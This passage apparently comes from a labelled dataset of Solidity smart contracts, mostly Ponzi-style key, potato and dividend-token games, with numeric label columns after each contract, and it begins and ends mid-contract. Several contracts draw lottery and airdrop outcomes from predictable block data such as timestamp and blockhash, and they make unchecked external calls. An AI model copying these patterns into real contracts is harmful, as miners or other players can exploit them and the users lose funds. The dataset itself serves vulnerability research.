_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(RatBook), "only RatBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = RatBook.getPlayerID(msg.sender);
bytes32 _name = RatBook.getPlayerName(_pID);
uint256 _laff = RatBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
plyr_[_pID].aff = _aff.add(plyr_[_pID].aff);
}
if (!address(RatKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0x20C945800de43394F70D789874a4daC9cFA57451 || msg.sender == 0x83c0Efc6d8B16D87BFe1335AB6BcAb3Ed3960285),
"only owner can activate"
);
require(activated_ == false, "ratscam already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface RatInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface RatBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 839 |
pragma solidity ^0.4.18;
contract PotPotato{
address public ceoAddress;
address public hotPotatoHolder;
address public lastHotPotatoHolder;
uint256 public lastBidTime;
uint256 public contestStartTime;
uint256 public lastPot;
Potato[] public potatoes;
uint256 public BASE_TIME_TO_COOK=30 minutes;
uint256 public TIME_MULTIPLIER=5 minutes;
uint256 public TIME_TO_COOK=BASE_TIME_TO_COOK;
uint256 public NUM_POTATOES=12;
uint256 public START_PRICE=0.001 ether;
uint256 public CONTEST_INTERVAL=1 weeks;
struct Potato {
address owner;
uint256 price;
}
function PotPotato() public{
ceoAddress=msg.sender;
hotPotatoHolder=0;
contestStartTime=1520799754;
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes.push(newpotato);
}
}
function buyPotato(uint256 index) public payable{
require(block.timestamp>contestStartTime);
if(_endContestIfNeeded()){
}
else{
Potato storage potato=potatoes[index];
require(msg.value >= potato.price);
require(msg.sender != potato.owner);
require(msg.sender != ceoAddress);
uint256 sellingPrice=potato.price;
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 76), 100));
uint256 devFee= uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
if(potato.owner!=address(this)){
potato.owner.transfer(payment);
}
ceoAddress.transfer(devFee);
potato.price= SafeMath.div(SafeMath.mul(sellingPrice, 150), 76);
potato.owner=msg.sender;
hotPotatoHolder=msg.sender;
lastBidTime=block.timestamp;
TIME_TO_COOK=SafeMath.add(BASE_TIME_TO_COOK,SafeMath.mul(index,TIME_MULTIPLIER));
msg.sender.transfer(purchaseExcess);
}
}
function getBalance() public view returns(uint256 value){
return this.balance;
}
function timePassed() public view returns(uint256 time){
if(lastBidTime==0){
return 0;
}
return SafeMath.sub(block.timestamp,lastBidTime);
}
function timeLeftToContestStart() public view returns(uint256 time){
if(block.timestamp>contestStartTime){
return 0;
}
return SafeMath.sub(contestStartTime,block.timestamp);
}
function timeLeftToCook() public view returns(uint256 time){
return SafeMath.sub(TIME_TO_COOK,timePassed());
}
function contestOver() public view returns(bool){
return timePassed()>=TIME_TO_COOK;
}
function _endContestIfNeeded() private returns(bool){
if(timePassed()>=TIME_TO_COOK){
msg.sender.transfer(msg.value);
lastPot=this.balance;
lastHotPotatoHolder=hotPotatoHolder;
hotPotatoHolder.transfer(this.balance);
hotPotatoHolder=0;
lastBidTime=0;
_resetPotatoes();
_setNewStartTime();
return true;
}
return false;
}
function _resetPotatoes() private{
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes[i]=newpotato;
}
}
function _setNewStartTime() private{
uint256 start=contestStartTime;
while(start<block.timestamp){
start=SafeMath.add(start,CONTEST_INTERVAL);
}
contestStartTime=start;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 500 |
pragma solidity ^0.4.24;
contract SHT_Token
{
modifier onlyTokenHolders()
{
require(myTokens() > 0);
_;
}
modifier onlyDividendPositive()
{
require(myDividends() > 0);
_;
}
modifier onlyOwner()
{
require (address(msg.sender) == owner);
_;
}
modifier onlyFoundersIfNotPublic()
{
if(!openToThePublic)
{
require (founders[address(msg.sender)] == true);
}
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event lotteryPayout(
address customerAddress,
uint256 lotterySupply
);
event whaleDump(
uint256 amount
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "SHT Token";
string public symbol = "SHT";
bool public openToThePublic = false;
address public owner;
address public dev;
uint8 constant public decimals = 18;
uint8 constant internal dividendFee = 10;
uint8 constant internal lotteryFee = 5;
uint8 constant internal devFee = 5;
uint8 constant internal ob2Fee = 2;
uint256 constant internal tokenPrice = 400000000000000;
uint256 constant internal magnitude = 2**64;
Onigiri2 private ob2;
mapping(address => uint256) internal publicTokenLedger;
mapping(address => uint256) public whaleLedger;
mapping(address => int256) internal payoutsTo_;
mapping(address => bool) internal founders;
address[] lotteryPlayers;
uint256 internal lotterySupply = 0;
uint256 internal tokenSupply = 0;
uint256 internal profitPerShare_;
constructor()
public
{
owner = address(msg.sender);
dev = address(0x7e474fe5Cfb720804860215f407111183cbc2f85);
founders[0x013f3B8C9F1c4f2f28Fd9cc1E1CF3675Ae920c76] = true;
founders[0xF57924672D6dBF0336c618fDa50E284E02715000] = true;
founders[0xE4Cf94e5D30FB4406A2B139CD0e872a1C8012dEf] = true;
ob2 = Onigiri2(0xb8a68f9B8363AF79dEf5c5e11B12e8A258cE5be8);
}
function buy()
onlyFoundersIfNotPublic()
public
payable
returns(uint256)
{
require (msg.sender == tx.origin);
uint256 tokenAmount;
tokenAmount = purchaseTokens(msg.value);
return tokenAmount;
}
function()
payable
public
{
buy();
}
function reinvest()
onlyDividendPositive()
public
{
require (msg.sender == tx.origin);
uint256 dividends = myDividends();
address customerAddress = msg.sender;
payoutsTo_[customerAddress] += int256(dividends * magnitude);
uint256 _tokens = purchaseTokens(dividends);
emit onReinvestment(customerAddress, dividends, _tokens);
}
function exit()
onlyTokenHolders()
public
{
require (msg.sender == tx.origin);
address customerAddress = address(msg.sender);
uint256 _tokens = publicTokenLedger[customerAddress];
if(_tokens > 0)
{
sell(_tokens);
}
withdraw();
}
function withdraw()
onlyDividendPositive()
public
{
require (msg.sender == tx.origin);
address customerAddress = msg.sender;
uint256 dividends = myDividends();
payoutsTo_[customerAddress] += int256(dividends * magnitude);
customerAddress.transfer(dividends);
emit onWithdraw(customerAddress, dividends);
}
function sell(uint256 _amountOfTokens)
onlyTokenHolders()
public
{
require (msg.sender == tx.origin);
require((_amountOfTokens <= publicTokenLedger[msg.sender]) && (_amountOfTokens > 0));
uint256 _tokens = _amountOfTokens;
uint256 ethereum = tokensToEthereum_(_tokens);
uint256 undividedDivs = SafeMath.div(ethereum, dividendFee);
uint256 communityDivs = SafeMath.div(undividedDivs, 2);
uint256 ob2Divs = SafeMath.div(undividedDivs, 4);
uint256 lotteryDivs = SafeMath.div(undividedDivs, 10);
uint256 tip4Dev = lotteryDivs;
uint256 whaleDivs = SafeMath.sub(communityDivs, (ob2Divs + lotteryDivs));
uint256 dividends = SafeMath.sub(undividedDivs, (ob2Divs + lotteryDivs + whaleDivs));
uint256 taxedEthereum = SafeMath.sub(ethereum, (undividedDivs + tip4Dev));
whaleLedger[owner] += whaleDivs;
lotterySupply += ethereumToTokens_(lotteryDivs);
ob2.fromGame.value(ob2Divs)();
dev.transfer(tip4Dev);
tokenSupply -= _tokens;
publicTokenLedger[msg.sender] -= _tokens;
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (taxedEthereum * magnitude));
payoutsTo_[msg.sender] -= _updatedPayouts;
if (tokenSupply > 0)
{
profitPerShare_ += ((dividends * magnitude) / tokenSupply);
}
emit onTokenSell(msg.sender, _tokens, taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyTokenHolders()
public
returns(bool)
{
assert(_toAddress != owner);
require((_amountOfTokens <= publicTokenLedger[msg.sender]) && (_amountOfTokens > 0 ));
publicTokenLedger[msg.sender] -= _amountOfTokens;
publicTokenLedger[_toAddress] += _amountOfTokens;
payoutsTo_[msg.sender] -= int256(profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += int256(profitPerShare_ * _amountOfTokens);
emit Transfer(msg.sender, _toAddress, _amountOfTokens);
return true;
}
function goPublic()
onlyOwner()
public
returns(bool)
{
openToThePublic = true;
return openToThePublic;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return (tokenSupply + lotterySupply);
}
function myTokens()
public
view
returns(uint256)
{
return balanceOf(msg.sender);
}
function whaleBalance()
public
view
returns(uint256)
{
return whaleLedger[owner];
}
function lotteryBalance()
public
view
returns(uint256)
{
return lotterySupply;
}
function myDividends()
public
view
returns(uint256)
{
return dividendsOf(msg.sender);
}
function balanceOf(address customerAddress)
view
public
returns(uint256)
{
return publicTokenLedger[customerAddress];
}
function dividendsOf(address customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * publicTokenLedger[customerAddress]) - payoutsTo_[customerAddress]) / magnitude;
}
function buyAndSellPrice()
public
pure
returns(uint256)
{
uint256 ethereum = tokenPrice;
uint256 dividends = SafeMath.div((ethereum * dividendFee ), 100);
uint256 taxedEthereum = SafeMath.sub(ethereum, dividends);
return taxedEthereum;
}
function calculateTokensReceived(uint256 ethereumToSpend)
public
pure
returns(uint256)
{
require(ethereumToSpend >= tokenPrice);
uint256 dividends = SafeMath.div((ethereumToSpend * dividendFee), 100);
uint256 taxedEthereum = SafeMath.sub(ethereumToSpend, dividends);
uint256 amountOfTokens = ethereumToTokens_(taxedEthereum);
return amountOfTokens;
}
function calculateEthereumReceived(uint256 tokensToSell)
public
view
returns(uint256)
{
require(tokensToSell <= tokenSupply);
uint256 ethereum = tokensToEthereum_(tokensToSell);
uint256 dividends = SafeMath.div((ethereum * dividendFee ), 100);
uint256 taxedEthereum = SafeMath.sub(ethereum, dividends);
return taxedEthereum;
}
function purchaseTokens(uint256 incomingEthereum)
internal
returns(uint256)
{
uint256 undividedDivs = SafeMath.div(incomingEthereum, dividendFee);
uint256 communityDivs = SafeMath.div(undividedDivs, 2);
uint256 ob2Divs = SafeMath.div(undividedDivs, 4);
uint256 lotteryDivs = SafeMath.div(undividedDivs, 10);
uint256 tip4Dev = lotteryDivs;
uint256 whaleDivs = SafeMath.sub(communityDivs, (ob2Divs + lotteryDivs));
uint256 dividends = SafeMath.sub(undividedDivs, (ob2Divs + lotteryDivs + whaleDivs));
uint256 taxedEthereum = SafeMath.sub(incomingEthereum, (undividedDivs + tip4Dev));
uint256 amountOfTokens = ethereumToTokens_(taxedEthereum);
whaleLedger[owner] += whaleDivs;
lotterySupply += ethereumToTokens_(lotteryDivs);
lotteryPlayers.push(msg.sender);
ob2.fromGame.value(ob2Divs)();
dev.transfer(tip4Dev);
uint256 fee = dividends * magnitude;
require(amountOfTokens > 0 && (amountOfTokens + tokenSupply) > tokenSupply);
uint256 payoutDividends = isWhalePaying();
if(tokenSupply > 0)
{
tokenSupply += amountOfTokens;
profitPerShare_ += ((payoutDividends + dividends) * magnitude / (tokenSupply));
fee -= fee-(amountOfTokens * (dividends * magnitude / (tokenSupply)));
} else
{
tokenSupply = amountOfTokens;
if(whaleLedger[owner] == 0)
{
whaleLedger[owner] = payoutDividends;
}
}
publicTokenLedger[msg.sender] += amountOfTokens;
int256 _updatedPayouts = int256((profitPerShare_ * amountOfTokens) - fee);
payoutsTo_[msg.sender] += _updatedPayouts;
emit onTokenPurchase(msg.sender, incomingEthereum, amountOfTokens);
return amountOfTokens;
}
function isWhalePaying()
private
returns(uint256)
{
uint256 payoutDividends = 0;
if(whaleLedger[owner] >= 1 ether)
{
if(lotteryPlayers.length > 0)
{
uint256 winner = uint256(blockhash(block.number-1))%lotteryPlayers.length;
publicTokenLedger[lotteryPlayers[winner]] += lotterySupply;
emit lotteryPayout(lotteryPlayers[winner], lotterySupply);
tokenSupply += lotterySupply;
lotterySupply = 0;
delete lotteryPlayers;
}
payoutDividends = whaleLedger[owner];
whaleLedger[owner] = 0;
emit whaleDump(payoutDividends);
}
return payoutDividends;
}
function ethereumToTokens_(uint256 ethereum)
internal
pure
returns(uint256)
{
uint256 tokensReceived = ((ethereum / tokenPrice) * 1e18);
return tokensReceived;
}
function tokensToEthereum_(uint256 coin)
internal
pure
returns(uint256)
{
uint256 ethReceived = tokenPrice * (SafeMath.div(coin, 1e18));
return ethReceived;
}
}
contract Onigiri2
{
function fromGame() external payable;
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 1 | 3,821 |
pragma solidity ^0.4.24;
contract LDEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularDogScam is LDEvents {}
contract DogScam is modularDogScam {
using SafeMath for *;
using NameFilter for string;
using LDKeysCalc for uint256;
DogInterfaceForForwarder constant private DogKingCorp = DogInterfaceForForwarder(0xf6c49851adfacdb738c3066842267efc9ed16080);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xEEbfe3EE72Fbb9aAB6e8149Fa56680E2EBcea3C8);
string constant public name = "DogScam Round #1";
string constant public symbol = "LDOG";
uint256 private rndGap_ = 0;
bool public activated_ = false;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 24 hours;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public withdrawAddr_;
mapping (address => uint256) public shareAddr_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LDdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => LDdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
LDdatasets.Round public round_;
uint256 public fees_ = 0;
uint256 public potSplit_ = 0;
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
